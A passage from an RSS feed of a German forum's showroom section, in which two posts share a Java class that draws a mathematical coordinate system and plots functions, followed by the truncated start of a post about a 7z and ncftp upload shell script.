&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Setzt die (grafischen) Abstände<br />
&nbsp; &nbsp;  * @param x Abstand auf der x-Achse<br />
&nbsp; &nbsp;  * @param y Abstand auf der y-Achse<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void setSpacing(int x, int y) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.xSpacing = x;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.ySpacing = y;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Setzt den Ursprung<br />
&nbsp; &nbsp;  * @param x x-Koordinate<br />
&nbsp; &nbsp;  * @param y y-Koordinate<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void setOrigin(int x, int y) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.translate(x, y);<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>Beispielanwendung:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; &nbsp; &nbsp; @Override<br />
&nbsp; &nbsp; &nbsp; &nbsp; protected void paintComponent(Graphics g) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; super.paintComponent(g);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.setFont(new Font(&quot;SansSerif&quot;, Font.PLAIN, 9));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MathGraphics mg = new MathGraphics(<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getWidth() / 2 - 1, getHeight() / 2 - 1,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getWidth(), getHeight(),<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1, 2.5,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 40, 40);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mg.drawAxes(true);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //mg.drawRaster();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.setFont(new Font(&quot;SansSerif&quot;, Font.PLAIN, 12));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.red);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(&quot;f(x) = x^3 - 3x^2 + 3x - 1&quot;, 30, -getHeight() / 2 + 20);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mg.drawFunction(new MathGraphics.Function() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @Override<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; public double f(double x) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return Math.pow(x, 3) - 3 * Math.pow(x, 2) + 3 * x - 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }, Color.red);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }</code><hr />
</div>Screenshots:<br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3431&amp;d=1365088039" id="attachment3431" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=3431&amp;d=1365088039&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	beispielmitrastersqo2q.png&nbsp;
Hits:	626&nbsp;
Größe:	70,2 KB&nbsp;
ID:	3431" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3432&amp;d=1365088056" id="attachment3432" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=3432&amp;d=1365088056&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	beispielohnerastercap96.png&nbsp;
Hits:	538&nbsp;
Größe:	68,6 KB&nbsp;
ID:	3432" class="thumbnail" style="float:CONFIG" /></a></div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3431&amp;d=1365088039" 
rel="Lightbox_34303" id="attachment3431"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=3431&amp;stc=1&amp;thumb=1&amp;d=1365088039" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	beispielmitrastersqo2q.png&nbsp;
Hits:	-&nbsp;
Größe:	70,2 KB&nbsp;
ID:	3431"/></a>
&nbsp;

<a href="https://u-labs.de/forum/attachment.php?attachmentid=3432&amp;d=1365088056" 
rel="Lightbox_34303" id="attachment3432"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=3432&amp;stc=1&amp;thumb=1&amp;d=1365088056" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	beispielohnerastercap96.png&nbsp;
Hits:	-&nbsp;
Größe:	68,6 KB&nbsp;
ID:	3432"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Mr. White</dc:creator>
			<guid isPermaLink="true">showroom-102/java-rechtshaendiges-koordinatensystem-4624</guid>
		</item>
		<item>
			<title>Rechtshändiges Koordinatensystem</title>
			<link>showroom-102/rechtshaendiges-koordinatensystem-31594?goto=newpost</link>
			<pubDate>Tue, 10 Jan 2012 20:24:59 GMT</pubDate>
			<description>Hallo, 
 
bei dem Koordinatensystem in Java liegt der Ursprung (0,0) in der linken oberen Ecke. Die x-Achse wächst nach rechts und die y-Achse wächst...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
bei dem Koordinatensystem in Java liegt der Ursprung (0,0) in der linken oberen Ecke. Die x-Achse wächst nach rechts und die y-Achse wächst nach unten. Ist ja auch logisch, wenn man weiß, wie etwas auf dem Bildschirm dargestellt wird. Darstellen von negativen y-Koordinaten ist so weiteres nicht möglich. (negative x-Koordinaten schon, führen aber nicht zum erwarteten Ergebnis).<br />
Die x-Achse des typischen Koordinatensystems, das man aus dem Mathematikunterricht kennt, wächst ebenfalls nach rechts. Die y-Achse allerdings nach oben.Negative Koordinaten sind darstellbar.<br />
<br />
Das habe ich versucht in Java zu implementieren, u. a. um schneller mit Mathematikhausaufgaben fertig zu werden.<br />
<br />
Die Klasse:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">package j3d.graphics3d;<br />
<br />
import java.awt.Color;<br />
import java.awt.Graphics;<br />
<br />
public class MathGraphics {<br />
&nbsp; &nbsp; // Interface für Mathematische Funktionen<br />
&nbsp; &nbsp; public interface Function {<br />
&nbsp; &nbsp; &nbsp; &nbsp; double f(double x);&nbsp; &nbsp;  // Liefert den y-Wert, wenn Eingabe = x-Wert<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; private Graphics g;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  // Grafikkontext<br />
&nbsp; &nbsp; private int width, height;&nbsp; &nbsp; &nbsp; // Breite und Höhe des &quot;grafischen Bereiches&quot;<br />
&nbsp; &nbsp; private double xStep, yStep;&nbsp; &nbsp; // x-, y-Schritte<br />
&nbsp; &nbsp; private int xSpacing, ySpacing; // x-, y-Pixelabstand<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Konstruktor.<br />
&nbsp; &nbsp;  * Initialisiert Member.<br />
&nbsp; &nbsp;  * @param g Grafikkontext<br />
&nbsp; &nbsp;  * @param width Breite<br />
&nbsp; &nbsp;  * @param height Höhe<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public MathGraphics(Graphics g, int width, int height) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.g = g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.width = width;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.height = height;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Konstruktor.<br />
&nbsp; &nbsp;  * Initialisiert Member und setzt den Ursprung.<br />
&nbsp; &nbsp;  * @param g Grafikkontext<br />
&nbsp; &nbsp;  * @param originX x-Koordinate des Ursprungs<br />
&nbsp; &nbsp;  * @param originY y-Koordinate des Ursprungs<br />
&nbsp; &nbsp;  * @param width Breite <br />
&nbsp; &nbsp;  * @param height Höhe<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public MathGraphics(Graphics g, int originX, int originY, int width, int height) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this(g, width, height);<br />
&nbsp; &nbsp; &nbsp; &nbsp; setOrigin(originX, originY);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Kosntruktor.<br />
&nbsp; &nbsp;  * Initialisiert Member, setzt den Ursprung, die Intervalle und die Abstände<br />
&nbsp; &nbsp;  * @param g Grafikkontext<br />
&nbsp; &nbsp;  * @param originX x-Koordinate des Ursprungs<br />
&nbsp; &nbsp;  * @param originY y-Koordinate des Ursprungs<br />
&nbsp; &nbsp;  * @param width Breite<br />
&nbsp; &nbsp;  * @param height Höhe<br />
&nbsp; &nbsp;  * @param xStep Schritte (x-Achse)<br />
&nbsp; &nbsp;  * @param yStep Schritte (y-Achse)<br />
&nbsp; &nbsp;  * @param xSpacing (grafischer) Abstand der x-Werte<br />
&nbsp; &nbsp;  * @param ySpacing (grafischer) Abstand der y-Werte<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public MathGraphics(Graphics g, int originX, int originY, int width, int height,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double xStep, double yStep, int xSpacing, int ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this(g, originX, originY, width, height);<br />
&nbsp; &nbsp; &nbsp; &nbsp; setSteps(xStep, yStep);<br />
&nbsp; &nbsp; &nbsp; &nbsp; setSpacing(xSpacing, ySpacing);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet eine Funktion<br />
&nbsp; &nbsp;  * @param function Funktion<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawFunction(MathGraphics.Function function) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = -width / 2; i &lt;= width / 2; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double fx = (double) i / xSpacing * xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double fy = function.f(fx);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int y = (int) (fy * ySpacing / yStep);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i2 = i + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double fx2 = (double) i2 / xSpacing * xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double fy2 = function.f(fx2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int y2 = (int) (fy2 * ySpacing / yStep);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(i, -y, i2, -y2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet eine Funktion in einer beliebigen Farbe<br />
&nbsp; &nbsp;  * @param function Funktion<br />
&nbsp; &nbsp;  * @param color Farbe<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawFunction(MathGraphics.Function function, Color color) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(color);<br />
&nbsp; &nbsp; &nbsp; &nbsp; drawFunction(function);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.black);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet das Raster<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawRaster() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.gray);<br />
&nbsp; &nbsp; &nbsp; &nbsp; // 1.Quadrant<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int x = xSpacing; x &lt;= width / 2; x += xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int y = -ySpacing; y &gt;= -height / 2; y -= ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawRect(x, y, 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; // 2.Quadrant<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int x = -xSpacing; x &gt;= -width / 2; x -= xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int y = -ySpacing; y &gt;= -height / 2; y -= ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawRect(x, y, 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; // 3.Quadrant<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int x = -xSpacing; x &gt;= -width / 2; x -= xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int y = ySpacing; y &lt;= height / 2; y += ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawRect(x, y, 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; // 4.Quadrant<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int x = xSpacing; x &lt;= width / 2; x += xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int y = ySpacing; y &lt;= height / 2; y += ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawRect(x, y, 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.black);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet beide Achsen<br />
&nbsp; &nbsp;  * @param label Wenn true, bekommen die einzelnen Schritte Ziffern zugewiesen<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawAxes(boolean label) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; drawXAxis(label);<br />
&nbsp; &nbsp; &nbsp; &nbsp; drawYAxis(label);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet die X-Achse<br />
&nbsp; &nbsp;  * @param label Wenn true, bekommen die einzelnen Schritte Ziffern zugewiesen<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawXAxis(boolean label) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.black);<br />
&nbsp; &nbsp; &nbsp; &nbsp; double xSt = -xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(-width / 2, 0, width / 2, 0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(width / 2 - 10, -5, width / 2, 0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(width / 2 - 10, 5, width / 2, 0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &gt;= -width / 2; i -= xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(i, -5, i, 5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(label &amp;&amp; i != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strW = g.getFontMetrics(g.getFont()).stringWidth(String.valueOf(i));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strH = g.getFontMetrics(g.getFont()).getHeight();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(String.valueOf(xSt), i - strW / 2, 5 + strH);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xSt += -xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; xSt = xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &lt;= width / 2; i += xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(i, -5, i, 5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(label &amp;&amp; i != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strW = g.getFontMetrics(g.getFont()).stringWidth(String.valueOf(i));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strH = g.getFontMetrics(g.getFont()).getHeight();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(String.valueOf(xSt), i - strW / 2, 5 + strH);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xSt += xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet die Y-Achse<br />
&nbsp; &nbsp;  * @param label Wenn true, bekommen die einzelnen Schritte Ziffern zugewiesen<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawYAxis(boolean label) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.black);<br />
&nbsp; &nbsp; &nbsp; &nbsp; double ySt = yStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(0, -height / 2, 0, height / 2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(-5, -height / 2 + 10, 0, -height / 2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(5, -height / 2 + 10, 0, -height / 2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &gt;= -height / 2; i -= ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(-5, i, 5, i);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(label &amp;&amp; i != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strH = g.getFontMetrics(g.getFont()).getHeight();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(String.valueOf(ySt), 10, i + strH / 4);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ySt += yStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; ySt = -yStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &lt;= height / 2; i += ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(-5, i, 5, i);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(label &amp;&amp; i != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strH = g.getFontMetrics(g.getFont()).getHeight();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(String.valueOf(ySt), 10, i + strH / 4);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ySt += -yStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Setzt die &quot;Schritte&quot;<br />
&nbsp; &nbsp;  * @param x Schritte auf der x-Achse<br />
&nbsp; &nbsp;  * @param y Schritte auf der y-Achse<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void setSteps(double x, double y) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.xStep = x;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.yStep = y;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Setzt die (grafischen) Abstände<br />
&nbsp; &nbsp;  * @param x Abstand auf der x-Achse<br />
&nbsp; &nbsp;  * @param y Abstand auf der y-Achse<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void setSpacing(int x, int y) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.xSpacing = x;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.ySpacing = y;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Setzt den Ursprung<br />
&nbsp; &nbsp;  * @param x x-Koordinate<br />
&nbsp; &nbsp;  * @param y y-Koordinate<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void setOrigin(int x, int y) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.translate(x, y);<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>- Raster kann angezeigt werden<br />
- Skalierung änderbar<br />
<br />
Beispielanwendung:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; &nbsp; &nbsp; @Override<br />
&nbsp; &nbsp; &nbsp; &nbsp; protected void paintComponent(Graphics g) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; super.paintComponent(g);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.setFont(new Font(&quot;SansSerif&quot;, Font.PLAIN, 9));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MathGraphics mg = new MathGraphics(<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getWidth() / 2 - 1, getHeight() / 2 - 1,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getWidth(), getHeight(),<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1, 2.5,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 40, 40);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mg.drawAxes(true);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //mg.drawRaster();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.setFont(new Font(&quot;SansSerif&quot;, Font.PLAIN, 12));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.red);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(&quot;f(x) = x^3 - 3x^2 + 3x - 1&quot;, 30, -getHeight() / 2 + 20);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mg.drawFunction(new MathGraphics.Function() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @Override<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; public double f(double x) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return Math.pow(x, 3) - 3 * Math.pow(x, 2) + 3 * x - 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }, Color.red);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }</code><hr />
</div>Screenshots:<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7435&amp;d=1396604947" id="attachment7435" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7435&amp;d=1365088039&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	beispielmitrastersqo2q.png&nbsp;
Hits:	638&nbsp;
Größe:	70,2 KB&nbsp;
ID:	7435" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7436&amp;d=1396604959" id="attachment7436" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7436&amp;d=1365088056&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	beispielohnerastercap96.png&nbsp;
Hits:	503&nbsp;
Größe:	68,6 KB&nbsp;
ID:	7436" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
Vielleicht kann es einer von euch gebrauchen.</div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7435&amp;d=1396604947" 
rel="Lightbox_371671" id="attachment7435"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7435&amp;stc=1&amp;thumb=1&amp;d=1365088039" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	beispielmitrastersqo2q.png&nbsp;
Hits:	-&nbsp;
Größe:	70,2 KB&nbsp;
ID:	7435"/></a>
&nbsp;

<a href="https://u-labs.de/forum/attachment.php?attachmentid=7436&amp;d=1396604959" 
rel="Lightbox_371671" id="attachment7436"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7436&amp;stc=1&amp;thumb=1&amp;d=1365088056" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	beispielohnerastercap96.png&nbsp;
Hits:	-&nbsp;
Größe:	68,6 KB&nbsp;
ID:	7436"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>GerMaN-DeLuXe</dc:creator>
			<guid isPermaLink="true">showroom-102/rechtshaendiges-koordinatensystem-31594</guid>
		</item>
		<item>
			<title><![CDATA[[Shell Script]Upload Script (7z & ncftp)]]></title>
			<link>showroom-102/shell-script-upload-script-7z-ncftp-4480?goto=newpost</link>
			<pubDate>Sun, 08 Jan 2012 16:12:18 GMT</pubDate>
			<description>PHP: 
--------- 
#!/bin/sh 
 
function upload()  
{ 
    #Settings: 
    ARCHIVPW=archivpasswort123 
    ARCHIVPARTSIZE=100M</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
